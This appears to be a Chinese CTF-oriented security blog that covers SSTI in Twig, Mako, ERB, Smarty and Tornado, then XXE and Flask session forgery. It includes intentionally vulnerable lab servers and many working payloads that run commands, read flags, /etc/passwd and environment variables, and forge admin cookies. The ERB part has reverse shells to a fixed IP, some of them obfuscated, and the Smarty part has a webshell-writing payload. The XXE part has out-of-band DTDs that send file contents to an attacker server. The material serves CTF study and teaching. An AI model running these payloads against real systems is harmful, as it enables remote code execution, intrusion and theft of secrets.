接口（Interface/API）是连接两个不同系统、硬件或软件组件的桥梁，定义了数据交换和功能调用的规则与协议。在软件中，API（应用程序编程接口）允许应用间相互通信和共享数据；在硬件中，它指物理连接端口（如USB）；在编程语言中，它是定义方法规范的抽象类型

接口是后端业务逻辑的具体体现。前端（网页或 App）通过调用接口来获取数据，并将其渲染成用户看到的画面。

# 直接查看JS文件

可以通过F12打开开发者工具，在Network中刷新页面选择过滤器JS

按照文件大小排序，通常体积最大的JS文件包含了核心的业务逻辑和路由表（通常命名为app.js,main.js,vendor.js或一串哈希值）

之后可以采用ctrl+shift+F打开全局搜索，可以搜索：/api/,/v1/,/v2/,/manage/,/admin/等常见接口前缀，也可以按照文件后缀：.php,.action,.do,.jsp，针对Vue/React可以搜索path:,routes,router.push(,按请求方法可以搜索：type: "POST",method: "GET",axios.post(,$.ajax(

# findsomething

和Hackbar一样属于插件，在Chorm插件商店中搜索FindSomething就可以下载

SSTI模板注入

2026-04-11T12:50:00.000Z

# SSTI

# 注：在本博客中所看到所有raw和endraw内容都是为了避免hexo报错所写，各位师傅在实验payload的时候切记不要带上raw和endraw

SSTI，即服务端模板注入，是一种存在于 Web 应用程序中的严重安全漏洞。当攻击者能够利用现有的模板引擎（如 Jinja2、Twig、FreeMarker、Thymeleaf 等）注入恶意代码，并在服务器端被解析和执行时，就会发生SSTI漏洞。本文不涉及jinja2模版下的注入payload。

# Twig

参考：https://www.anquanke.com/post/id/246093#h2-0

Twig是php中的模版引擎，类似于python中的jinja2，同样利用{{}}来输出变量，{%%}来执行逻辑控制，当服务器不加修饰地将用户输入内容拼接到页面中，就可能出现SSTI模板注入，恶意代码示例：<h1>Hello, {{ name }}!</h1>，当用户传参?name=ZLARYY，那么页面就会显示

不过，如果我们传入{{7*7}}，那么后端就会优先计算7*7这个数学表达式，然后进行拼接

在php中，很多内置的系统函数只需要传入函数名的字符串就可以被调用（比如system()，exec()，passthru()），但也可以在Twig语法中寻找能够接受回调函数的机制，现代TwigSSTI最经典的利用方式是使用过滤器，比如map，filter，sort，reduce

# 本地靶场测试

直接使用apache2服务就行：

sudo systemctl start apache2
nano /var/www/html/index.php

?php
require_once __DIR__ . '/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader,[
    'debug' => true,
]);
$twig->addGlobal('site_config', [
    'db_password' => 'root_secret_p@ssw0rd',
    'admin_email' => 'admin@hacker.local',
    'version'     => '3.0.0',
    'flag'        => 'ZLARYY{Why_y0U_C@n_f1nd_mmme?}'
]);
$twig->addExtension(new \Twig\Extension\DebugExtension());

$userInput = isset($_GET['name']) ? $_GET['name'] : 'Guest';

// 🚨 漏洞核心：直接把用户的输入拼接到模板字符串中
$templateString = "<h1>Hello, " . $userInput . "!</h1>";

try {
    $template = $twig->createTemplate($templateString);
    echo $template->render();
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}

# map

其中一种payload是这样：

<!--swig6-->

["cat /etc/passwd"]：在Twig中创建了一个数组，里面只有一个Linux系统命令的元素

| map("system")：|是管道符，将前面的数组传给后面的过滤器，map()是Twig的数组处理过滤器，它的作用是对数组里面的每一个元素执行一个操作，将system当作参数传给map()，就相当于执行了system(cat /flag)，之后map()会将函数的返回值重新打包为新的数组

| join(",")：函数执行完毕之后会返回命令的结果，join(",")将结果转换为字符串通过{{}}渲染并显示在浏览器页面上

由于system函数执行成功之后会立刻将命令的输出结果回显到网页上，所以这里的第一行是system()函数执行成功返回的结果，后面的内容是join转换为字符串所产生的，由于我们提到map()会将返回结果打包为数组，所以如果我们去掉join，看到的就会是Array

关于twig_array_map，源码中是：

function tig_array_map($array,$arrow){
    $r=[];
    foreach($array as $k => $v){
        $r[$k] =  $arrow($v,$k);
    }
    return $r;
}

了解了map过滤器，接下来我们试试其他的过滤器：

# filter

filter过滤器与map的作用区别不大，payload为：

<!--swig10-->

filter("system")会将前面数组里的命令交给system执行，由于非空字符串在php里面都被视为true，于是filter会认为这个元素“符合条件”，然后将其保留在数组中，最后join转换为字符串之后，回显的就是cat /flag这个数组元素

# sort

这个过滤器的正常用途是用于对数组进行自定义排序。它底层调用的是PHP的usort()函数，需要比较两个元素的大小，他的payload为：

<!--swig12-->
或者
<!--swig13-->

往数组中塞入两个元素，就会启动引擎的比较机制，将数组中的元素一起取出之后放进system函数里面，相当于执行了system("cat /flag", 0)，而system函数的第二个参数在php中是&$return_var（用于接收状态码），我们传入的第二个元素充当了或被忽略了这个占位符，从而成功执行命令，不过在php 8.x版本中，像system($cmd, &$return_var)或exec、passthru这样的函数，它们的第二个参数是强制按引用传递 (Pass by Reference) 的。如果sort过滤器传递给它的是一个字面量（比如上面的 0 或""），PHP 8 会直接抛出致命错误，导致利用失败。所以在高版本中我们通常使用map和filter这两个过滤器

# _self

在早期的 Twig 版本中，引擎内部有一个全局变量叫_self。在当时，_self指向的是当前的模板对象。由于它是一个对象，我们就可以通过_self.env直接获取到Twig的运行环境，不过在Twig2.0之后_self就受到了限制，甚至在3.0版本之后，_self就只是一个普通的字符串，不具有env属性或者宏，于是就会看到错误

如果版本允许的话，我们可以利用如下payload：

<!--swig16--><!--swig17-->

命令id被执行之后就会返回当前用户的id

# 信息收集

当然，SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息，在Twig引擎中，我们可以通过下面方法获得一些关于当前应用的信息

<!--swig18--> #指向当前应用
<!--swig19-->
<!--swig20-->
<!--swig21-->

其中dump()是Twig中的调试函数，可以把当前环境中的变量、对象甚至是底层的类信息全部打印出来，相当于var_dump()

如果dump报错不可用，盲打手段通常是去读取Twig默认的全局环境变量：_context，_context是一个包含了当前模版所有可用变量的数组，虽然我们不能用dump把它打印出来，但我们可以结合刚才学过的过滤器，把它里面的键名提取出来：

<!--swig23-->

_context：拿到当前环境的所有环境变量（数组）

| keys：Twig的内置过滤器，用于提取数组中所有的“键名”

看到了site_config这个变量，我们就可以像访问数组一样去读取里面的内容

或者在不知道键名的情况下，我们还可以直接输出所有键名：

<!--swig26-->

所有值：

<!--swig28-->

通过这种方式我们就能从中窃取敏感信息

最后是这一串：

<!--swig30-->

Twig最初是为了Symfony这个庞大且著名的PHP框架而开发的。当开发者使用Symfony框架搭建网站时，Symfony会自动向Twig引擎里注入一个名为app的全局变量。

app.request：包含用户的所有请求信息（GET、POST 参数、Headers）
app.request.server.all：这就相当于PHP里的$_SERVER全局数组，里面有服务器信息
app.user：当前登录的用户对象

# Mako

参考：https://www.tr0y.wang/2022/04/29/SecMap-SSTI-mako/#mako-语法

# Mako的基础语法

变量取值：${}，类比{{}}，输入 1+1，2*2，或者是字符串、调用对象的方法，都会渲染出执行的结果

控制结构：%for ... : %endfor，%if ... : ... %elif: ... % else: ... %endif，类比{%if%}{%endif%}

Python代码块：<% ... %>

导入模块：在代码块的基础上加一个感叹号 <%! ... %>

定义函数：<%def name="..." > ... </%def>，调用：${...()}

注释：##（单行）、<%doc>（多行）

继承模板：<%inherit ... />

包含模板：<%include ... />，引用：<%page ... />

如果需要用到%作为字符的话需要写成%%

单个过滤器的使用和 jinja2 一样很像，都是用 | 来引用。如果要使用多个过滤器，mako 需要用 , 来指定：${" <tag>some value</tag> " | h,trim}

要定义自己的过滤器也比较简单，不需要和 jinj2 一样操作 environment，只需要定义一个函数即可使用：

<%!
import myfilters

def myescape(text):
    return "<TAG>" + text + "</TAG>"
%>

Here's some tagged text: ${"text" | myescape}
Here's some tagged text: ${"text" | myfilters.myescape}

# 本地环境测试

from flask import Flask, request
from mako.template import Template

app = Flask(__name__)

@app.route('/')
def index():
    # 1. 接收用户的输入（GET 请求中的 name 参数）
    user_input = request.args.get('name', 'Hacker')
    
    # 2. 🚨 核心漏洞点：将用户输入直接拼接成了模板字符串
    template_str = f"""
    <html>
        <body>
            <h2>Welcome to Mako SSTI Lab</h2>
            <p>Hello, {user_input}!</p>
            <p>Try to inject something...</p>
        </body>
    </html>
    """
    
    try:
        # 3. Mako 编译并渲染这个包含用户输入的模板
        return Template(template_str).render()
    except Exception as e:
        # 为了方便调试，我们将报错信息也打印出来
        return f"Error: {str(e)}"

if __name__ == '__main__':
    # 为了安全起见，只绑定在 127.0.0.1（仅本机可访问）
    # 不要将其改为 0.0.0.0
    app.run(host='127.0.0.1', port=5000)

将其编写为makos.py文件然后通过下面这段命令启动

python3 makos.py

我们在Linux中用这串脚本实现MakoSSTI注入

有了jinja2的参考，这个的攻击手法也很明显了，而且mako语法中具有完全支持python语法的符号

但这里不得不提到为什么jinja2的语法不能实现mako的模板注入了：

Jinja2默认在一个受限的环境（沙箱）里运行，不允许你直接导入os模块。攻击者必须通过内置对象（比如Flask默认传入的config变量），利用Python的类继承关系（MRO），一步步向上爬到顶级类，然后再找到导入了os模块的函数

并且我们可以尝试传入${[].__class__}，会发现它回显为空

这就似乎说明了不存在继承关系

# subprocess.Popen执行命令

${__import__('subprocess').Popen('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}

# os执行命令

${__import__('os').popen('cat /flag').read()}

不难发现这个payload和本博客之前提到的沙箱逃逸内容一样

<%import os%0ax=os.popen('cat /flag').read()%>
${x}
对应：
import os
os.popen('cat /flag').read()

# importlib执行命令

<%import importlib%0a
result = importlib.import_module('os').popen('cat /flag').read()
%>${result}
对应：
import importlib
result = importlib.import_module('os').popen('cat /flag').read()
print(result)

# sys执行命令

<%import sys%0a
result=sys.modules['os'].popen('cat /flag').read()
%>${result}
对应：
import sys
result=sys.modules['os'].popen('cat /flag').read()
print(result)

# open读取文件

<%a=open('/flag').read()
%>${a}
对应：
print(open('/flag').read())

# codecs读取文件

<%import codecs
%0aa=codecs.open('/flag').read()
%>${a}
对应：
import codecs
print(codecs.open('/flag').read())

# getline读取文件

<%a=__import__("linecache").getline('/flag',1)
%>${a}
对应：
print(__import__("linecache").getline('/flag',1))

# getlines读取文件

<%import linecache%0a
a=linecache.getlines('/flag')
%>${a}
对应：
import linecache
print(linecache.getlines('/flag'))

<%a=__import__("linecache").getlines('/flag')
%>${a}
对应：
print(__import__("linecache").getlines('/etc/passwd'))

# env获取环境信息

<%import os%0a
a=os.popen('env').read()
%>${a}
对应：
import os
print(os.popen('env').read())

# environ获取环境信息

<%import os%0a
a=os.environ
%>${a}
对应：
import os
print(os.environ)

# 绕过

既然是符合python代码的，那么沙箱逃逸所提到的拼接绕过，字符串变化也适用于Mako模板注入，这里就不过多赘述了，大家也可以自己试一下，这里展示了拼接绕过和字符串变化绕过

<%b = 'o'%0a
a = 's'%0a
c=__import__(b%2Ba).popen('cat /flag').read()
%>${c}
对应：
b = 'o'
a = 's'
__import__(b+a).popen('cat /flag').read()

<%a=__import__('so'[::-1]).popen('cat /flag').read()
%>${a}
对应：
print(__import__('so'[::-1]).popen('cat /flag').read())

这里再提几个特殊的：

# globals()

${ globals()['__built'%2B'ins__']['__imp'%2B'ort__']('o'%2B's').popen('cat /flag').read() }

# locals()

locals()函数会返回一个字典，里面包含了当前局部作用域内所有的变量名和它们对应的值

${locals()}

如果过滤了context这个词，我们就可以使用可以通过locals()获取字典，然后用字符串拼接的方式去取值：locals()['con' + 'text']

如果locals()中存在request对象，我们就可以把恶意代码写在另一个不被waf检查的参数中：

${locals()['req'+'uest'].args.get('cmd')}&cmd=__import__('os').popen('cat /flag').read()

另外我们还可以用__M_writer，它是Mako引擎用来向页面输出内容的内置函数，在Python的底层机制中，只要是一个用Python编写的函数，它就必定拥有__globals__属性，而__globals__里面有__builtins__内建函数，不过在某些版本中，__M_writer绑定到了底层 C 语言实现的_io.StringIO.write上，而C语言底层写的内置函数或包装器，没有__globals__属性

由于我这里就是C语言实现的，所以只能给两个可能的payload了：

${ locals()['__M_wri'+'ter'].__getattribute__('__glo'+'bals__')
['__built'+'ins__']['__imp'+'ort__']('o'+'s').popen('ca'+'t /fl'+'ag').read() }

${ __M_writer.__globals__['__builtins__']['__import__']('o'+'s').popen('cat /flag').read() }

所以一种与context有关的payload是：

${ locals()['con' + 'text'].__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read() }
当然，没有过滤context的话也可以：
${ context.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read() }

# Ruby

在ERB模版中，payload的主要结构由ERB标签和Ruby原生代码两部分组成。

ERB标签结构：

<%= code %>：输出标签，执行其中的ruby代码，并将结果转化为字符串回显在HTML页面上

<% code %>：静默标签，执行其中的ruby代码，但不输出任何内容，常用于定义变量，写循环或者条件判断，或者在不需要回显时执行盲注命令

<%# comment %>：注释标签，里面的内容会被完全忽略

# 本地靶场测试

该靶场也是由Linux搭建，具体流程如下：

#安装sinatra框架和webrick服务器（新版Ruby需要手动安装webrick）
sudo gem install sinatra webrick
#创建带有漏洞的文件
nano rubyy.rb

require 'sinatra'
require 'erb'

# 配置服务器监听所有 IP（0.0.0.0），方便你从宿主机物理机访问
# Sinatra 的默认端口是 4567
set :bind, '0.0.0.0'
set :port, 4567

get '/' do
  # 1. 获取 GET 请求中的 name 参数，如果没有则默认为 'Hacker'
  user_input = params[:name] || 'Hacker'
  
  # 2. 🚨 核心漏洞点：直接将用户输入拼接到模板字符串中
  # 在 Ruby 中，双引号内的 #{...} 会执行字符串插值
  template_string = %(
    <html>
      <body>
        <h2>Welcome to Ruby ERB SSTI Lab</h2>
        <p>Hello, #{user_input}!</p>
        <p>Try to inject some Ruby code...</p>
      </body>
    </html>
  )
  
  begin
    # 3. 使用 ERB 渲染这段被污染的模板字符串
    # binding 是 Ruby 的一个内置方法，它会将当前的变量上下文（局部变量等）传递给 ERB 引擎
    ERB.new(template_string).result(binding)
  rescue => e
    # 捕获并打印错误，方便你调试 Payload
    "Error: #{e.message}"
  end
end

以上为漏洞源码

#安装需要的gems
gem install rackup puma
#运行ruby脚本
ruby rubyy.rb

搭建好之后我们尝试传入一个?name=<%=7*7%>会显示invalid query parameters，这是因为在HTTP协议的URL中，%是一个转义字符，比如%20表示空格，%3C表示<，web服务器规定只要出现%，后面的两个字符必须是合法的十六进制数字

所以我们在传参的时候需要对%和=进行URL编码，%是%25，=是%3D

<%25%3D 7*7 %25>

# 反引号命令执行

<%25%3D `cat /flag` %25>

# %x替换反引号实现命令执行

<%25%3D %25x(cat /flag) %25>
<%25%3D %25x[cat /flag] %25>
<%25%3D %25x{cat /flag} %25>

<%25%3D %25x/cat \/flag/ %25>

通过//代替括号不过需要用转义符号将/flag里面的/转义

# IO.popen实现命令执行

<%25%3D IO.popen('cat /flag').readlines %25>

# 静默标签实现反弹shell

<%25 system('nc -e /bin/sh 192.168.152.128 4444') %25>

# send方法绕过过滤限制

<%25%3D Kernel.send('`', 'cat /flag') %25>

这个方法底层调用的是Kernel模块的`` `方法

# self与superclass找到顶层object之后拼接system方法执行

<%25%3D self.class.superclass.send("sys"+"tem", "nc -e /bin/bash 192.168.152.128 4444") %25>

由于在在该模版下，直接执行system不会输出命令执行的结果，而是会返回true，所以需要用到反弹shell

# 十六进制或八进制编码

Ruby允许在字符串中直接解析转义序列，并在send等方法中直接作为方法名执行：

<%25%3D send("\x73\x79\x73\x74\x65\x6d", "nc -e /bin/bash 192.168.152.128 4444") %25>

# 字符数组转换（ASCII绕过）

<%25%3D send([115, 121, 115, 116, 101, 109].pack('c*'), "nc -e /bin/bash 192.168.152.128 4444") %25>

# File.open读取文件

<%25%3D File.open('/flag').read %25>

# Smarty

参考：https://www.anquanke.com/post/id/272393

Smarty使用{}作为默认的标签定界符

# 本地环境测试

wget https://github.com/smarty-php/smarty/archive/refs/tags/v4.3.4.zip -O smarty.zip

unzip -q smarty.zip

mv smarty-4.3.4/libs ./smarty_libs

rm -rf smarty.zip smarty-4.3.4

nano smart.php

<?php
// 直接引入老派的 Smarty 类文件，拒绝一切花里胡哨的自动加载
require_once __DIR__ . '/smarty_libs/Smarty.class.php';

$smarty = new Smarty();

// 创建必要的缓存和编译目录
@mkdir(__DIR__ . '/templates_c');
@mkdir(__DIR__ . '/cache');
$smarty->setCompileDir(__DIR__ . '/templates_c');
$smarty->setCacheDir(__DIR__ . '/cache');

// 接收参数
$name = isset($_GET['name']) ? $_GET['name'] : 'Hacker';

// 存在漏洞的模板拼接
$template_string = "<h1>Smarty Lab</h1><p>Hello, {$name}!</p>";

try {
    // 渲染输出
    $smarty->display('string:' . $template_string);
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>

php -S 0.0.0.0:8000

# 基础探测

{7*7}

# 查询版本

{$smarty.version}

# {php}写php代码（Smarty v2 / v3 早期）

在早期的 Smarty 中，官方直接提供了一个{php}标签，允许你在里面写原生的 PHP 代码

由于太危险，这个标签在 Smarty 3 中被废弃，在 Smarty 4 中被彻底移除。

{php}system('id');{/php}

# 直接调用PHP函数 (适用于未开启安全模式的 v3/v4)

如果Smarty没有开启特定的安全配置，你可以直接在花括号里调用PHP的内置危险函数

{system('cat /flag')}

读取文件：

{file_get_contents('/flag')}

# {if}标签使内部字符串被当做php代码执行

{if phpinfo()}{/if}
{if system('cat /flag')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}

# self标签来获取Smarty类的静态方法读取文件

{self::getStreamVariable(“file:///flag”)}

不过这种利用方式只存在于旧版本中，而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。

其他的一些类中的方法也是一样，会受到版本的限制，比如 writeFile 方法等也是同理，在高版本下同样不能使用。

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# CVE-2021-26120

CVE-2021-26120 为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞，所利用 POC 如下：

string:{function+name='rce(){};system("cat /flag");function+'}{/function}

由于测试版本为4.3.4，所以这些poc暂时不能复现

# CVE-2021-26119

CVE-2021-26119 为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞，所利用 POC 如下：

string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

请求两次后触发，请求需要触发两次的原因是第一次缓存文件被写入，然后被覆盖。第二次触发缓存并包含文件以进行远程代码执行。相关代码在process函数处。

# Tornado

Tornado模版引擎的定界符为{{}}（变量输出），{%%}（控制块）

在测试的时候会看到{{7*7}}回显49，但是使用jinja2的payload无法回显，这是由于Tornado没有沙箱，底层逻辑和Mako一样，允许直接执行python代码和导入模块

# 本地靶场测试

#安装Tornado
pip install tornado --break-system-packages
nano tor.py

import tornado.ioloop
import tornado.web
from tornado.template import Template

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        # 接收用户输入
        name = self.get_argument("name", "Hacker")
        
        # 🚨 漏洞点：直接将输入拼接成模板字符串
        template_string = f"""
        <html>
            <body>
                <h2>Welcome to Tornado SSTI Lab</h2>
                <p>Hello, {name}!</p>
                <p>Try to find the secret or execute a command.</p>
            </body>
        </html>
        """
        
        try:
            # 编译并渲染模板
            t = Template(template_string)
            # 在 Tornado 中渲染并写入响应
            self.write(t.generate(handler=self))
        except Exception as e:
            self.write(f"Error: {str(e)}")

# 设置应用的配置（模拟真实环境中的密钥）
app_settings = {
    "cookie_secret": "ZLARYY{Y0U_aR3_r3a1Iy_TorrrnaD0_m@st3r}",
    "debug": True
}

def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
    ], **app_settings)

if __name__ == "__main__":
    app = make_app()
    # 绑定 8888 端口
    app.listen(8888, address="0.0.0.0")
    print("Tornado Lab is running on http://127.0.0.1:8888")
    tornado.ioloop.IOLoop.current().start()

python3 tor.py

# 基本探测

<!--swig71-->

# 窃取全局配置字典

<!--swig73-->

只显示secret：

<!--swig75-->

<!--swig77-->

<!--swig79-->

# 利用{%%}导入模块，{{}}执行

# os

<!--swig83-->

那这里就很像沙箱逃逸了啊，用{%%}导入模块，{{}}执行

# ctypes

<!--swig87-->

之前Mako也是本来打算测试这个ctypes但是由于没有回显，这里突然想到可以反弹shell

# subprocess

<!--swig89-->

反弹shell这招还真是全能

# pty

<!--swig91-->

# timeit

<!--swig93-->

除了反弹shell还可以有写入文件的思路

<!--swig94-->

# importlib

<!--swig97-->

有反弹shell的思路都可以参照timeit中写文件的思路试试

# codecs

<!--swig100-->

# open读取文件

<!--swig102-->
<!--swig103-->

# getline

<!--swig105-->

# getlines

<!--swig107-->

# 获取环境信息

# env

<!--swig109-->

# environ

<!--swig111-->

XXE

2026-04-07T13:45:00.000Z

# XXE

XXE，也叫做XML外部实体注入，它通常允许攻击者查看应用程序服务器文件系统上的文件，并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下，攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击，从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

# payload结构

利用XXE读取文件的一种payload格式如下：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <username>&xxe;</username>
</root>

其中

<!DOCTYPE root [ ... ]>

原本用来定义文档合法结构，这里用来在[]中声明恶意的自定义实体

<!ENTITY xxe SYSTEM "file:///etc/passwd">

ENTITY xxe：声明一个名为xxe的自定义实体

SYSTEM：普通的实体定义是不带SYSTEM的，比如：

<!ENTITY name "ZLARYY">

加上SYSTEM之后，就变成了外部实体，他可以让解析器去后面跟随的系统路径中加载内容

"file:///etc/passwd"：表示外部资源的目标URI，这里使用file伪协议进行本地文件读取

<username>&xxe;</username>：不能只定义实体，还需要在XML数据部分调用，其中&xxe表示调用并插入名为xxe的实体的值

# 靶场测试

我搭建了一个本地的测试靶场来试试：

from flask import Flask, request, render_template_string
from lxml import etree

app = Flask(__name__)

# 前端 HTML：一个简单的文件上传表单
HTML_FORM = """
<!DOCTYPE html>
<html>
<head><title>XXE 文件上传靶场</title></head>
<body style="font-family: Arial; margin: 40px;">
    <h2>欢迎来到 XXE 测试靶场</h2>
    <p>请上传您的 XML 配置文件：</p>
    <form action="/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="xmlFile" accept=".xml">
        <br><br>
        <input type="submit" value="上传并解析">
    </form>
</body>
</html>
"""

# 首页路由：显示上传页面
@app.route('/')
def index():
    return HTML_FORM

# 上传处理路由：接收文件并进行脆弱的解析
@app.route('/upload', methods=['POST'])
def upload_file():
    if 'xmlFile' not in request.files:
        return '没有检测到文件上传'
    
    file = request.files['xmlFile']
    if file.filename == '':
        return '文件为空'
        
    if file:
        xml_data = file.read()
        try:
            # 【核心漏洞点】：配置解析器，允许解析外部实体 (resolve_entities=True)
            parser = etree.XMLParser(resolve_entities=True, no_network=False)
            
            # 开始解析用户上传的 XML 内容
            root = etree.fromstring(xml_data, parser)
            
            # 模拟业务逻辑：提取 <username> 标签里的内容并展示在页面上
            username = root.findtext('username')
            
            if username:
                return f"<h3>XML 解析成功！</h3><p>提取到的用户名信息如下：</p><pre style='background:#eee; padding:10px;'>{username}</pre>"
            else:
                return "文件已解析，但未找到 &lt;username&gt; 标签。"
                
        except Exception as e:
            return f"<h3 style='color:red;'>XML 解析失败或格式错误</h3><p>错误信息: {e}</p>"

if __name__ == '__main__':
    # 启动服务器，监听所有 IP 的 5000 端口
    app.run(host='0.0.0.0', port=5000)

上传上面的xml文件之后，我们可以看到如下内容：

除此之外我们可以查看flag

以上就是有回显XXE的情况

# 无回显XXE

看了一下大致方法，相当于是一种外带，首先通过在自己的服务器上创建一个evil.dtd文件，然后上传一个xml格式文件让靶机远程下载这个dtd文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://[IP地址]/index.php?q=%file;'>">

所以我们上传的xml文件只需要让靶机去访问/evil.dtd就行了：

这里提一嘴，在开启靶场环境的时候记得用apache而不是python，也就是说我们的环境必须是php代码搭建起来的，本人有幸在这里卡了很久。。。。。。

首先在我们的公网IP服务器上写入evil.dtd：

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://[IP地址与端口]/?p=%file;'>">
%eval;
%error;

这里选择使用参数实体，原因是参数实体可以在定义内部被调用而且可以嵌套使用

上传payload：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://[IP地址与端口]/evil.dtd">
%remote;
]>
<convert>test</convert>

别忘了用python3 -m http.server 8000开启evil.dtd环境，上传payload之后我们就可以看到两条请求信息：

p后面的base64编码字符串就是我们的flag

# svg

除此之外，如果有题目允许上传svg文件，也是有可能存在XXE漏洞的，payload如下：

<?xml version="1.0"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200">
    <text x="20" y="100" font-size="40" fill="red">&xxe;</text>
</svg>

其中，<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200">是svg矢量图的开头，加上他，后端文件类型检测就会识别该文件为image/svg+xml

<text x="20" y="100" font-size="40" fill="red">&xxe;</text>
</svg>

<text>标签用于在svg文件上绘制文字

x="20" y="100" font-size="40" fill="red"：如果后端对文件进行了图片渲染，那么这段代码就可以将比如file:///flag的结果用红色的40号字体写在距离左边20，距离顶部100的位置上。

# CVE-2025-66516

CVE-2025-66516是存在于Apache Tika中的一个极其严重的XXE漏洞。

受影响组件为Apache Tika（具体为 tika-core、tika-pdf-module 和 tika-parsers）

其原理是在PDF中插入恶意的XFA（XML Forms Architecture，XML 表单架构）数据，当Tika 尝试提取该PDF中的XFA数据进行分析时，3.2.2 版本之前的底层 tika-coreXML解析器没有对外部实体解析进行严格限制，就会出现XXE漏洞。

# UniCTF2026 SecureDoc

实在是弄不出来包含XAF的PDF文件，在网上找了一个大佬的payload：

2026-uniCTFwp – 叁玖の小博客

%PDF-1.5
1 0 obj
<</Type/Catalog/Pages 2 0 R/AcroForm <</XFA 3 0 R>>>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids [4 0 R]>>
endobj
3 0 obj
<</Length 120>>
stream
<?xml version="1.0"?>
<!DOCTYPE xdp [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<datasets><data>&xxe;</data></datasets>
</xdp:xdp>
endstream
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000009 00000 n 
0000000092 00000 n 
0000000136 00000 n 
0000000297 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
409
%%EOF

除了中间的XXE漏洞，其他都是PDF所需的格式。

flask的session伪造与filter-chain

2026-04-02T08:00:00.000Z

# flask session伪造

参考：https://www.cnblogs.com/GTL-JU/p/16960460.html

https://paoka1.top/2022/05/28/Flask-的-SESSION-伪造/

在最近的几次比赛中都遇到了这个session，格式特别像JWT，没有了解过这个内容很可能混淆，所以这里学习一下

# flask的session结构

这里我们可以用flask搭建一个本地网站生成session:

from flask import Flask, session, request

app = Flask(__name__)
app.secret_key = 'ZLARYY'

@app.route('/',methods=['GET'])
def set_session():
    name = request.args.get('name')
    session['name']=name
    return 'welcome %s' % name

if __name__ == '__main__':
    app.run(debug=True, port=8080)

我们将session单独拿出来看看：

eyJuYW1lIjoiWkxBUllZIn0.acnmwQ.vk4_UCfBIl-iNcvTpc60DAXYB7w

base64解码之后为{"name":"ZLARYY"}ry�B�8P'�"X�r��s�v�

由此我们可以直观地看到：flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

时间戳：用来告诉服务端数据最后一次更新的时间，超过31天的会话，将会过期，变为无效会话；

签名：是利用Hmac算法，将session数据和时间戳加上secret_key加密而成的，用来保证数据没有被修改。

# 伪造session

那么伪造flask session的方法就很清晰了：与JWT伪造相同，我们需要知道SECRET_KEY。

需要用到的工具：https://github.com/noraj/flask-session-cookie-manager

这里我们已知SECRET_KEY是ZLARYY，那么我们利用这个工具尝试伪造一个session，在此之前我们把源码的内容稍微修改一下：

from flask import Flask, session, request

app = Flask(__name__)
app.secret_key = 'ZLARYY'

@app.route('/', methods=['GET'])
def index():
    if 'name' in request.args:
        name = request.args.get('name')
        session['name'] = name

    current_user = session.get('name')
    
    if current_user == 'admin':
        return 'flag is ZLARYY{Y0u_Ar3_f1a5k_SEs5l0n_m@s73r}'
    else:
        return f'Welcome, {current_user}'

if __name__ == '__main__':
    app.run(debug=True, port=8080)

这样就能验证我哦们的session是否伪造成功了

我们将生成的cookie替换浏览器上的cookie：

伪造成功

或者这里还有一个生成 cookie的python脚本：

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'ZLARYY' 
fake_session = {'name': 'admin'}

# 直接调用本机 Flask 核心方法生成 Cookie
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie_data = serializer.dumps(fake_session)

# 兼容不同的 Flask 版本（有些版本生成的是 bytes，需要转成纯文本）
if isinstance(cookie_data, bytes):
    forged_cookie = cookie_data.decode('utf-8')
else:
    forged_cookie = cookie_data

print(f"伪造的Cookie:\n{forged_cookie}\n")

# 例题

# [NSSRound#13 Basic]flask?jwt?

这道题我们随便注册一个账号登录进去查看一下session:

session=.eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E

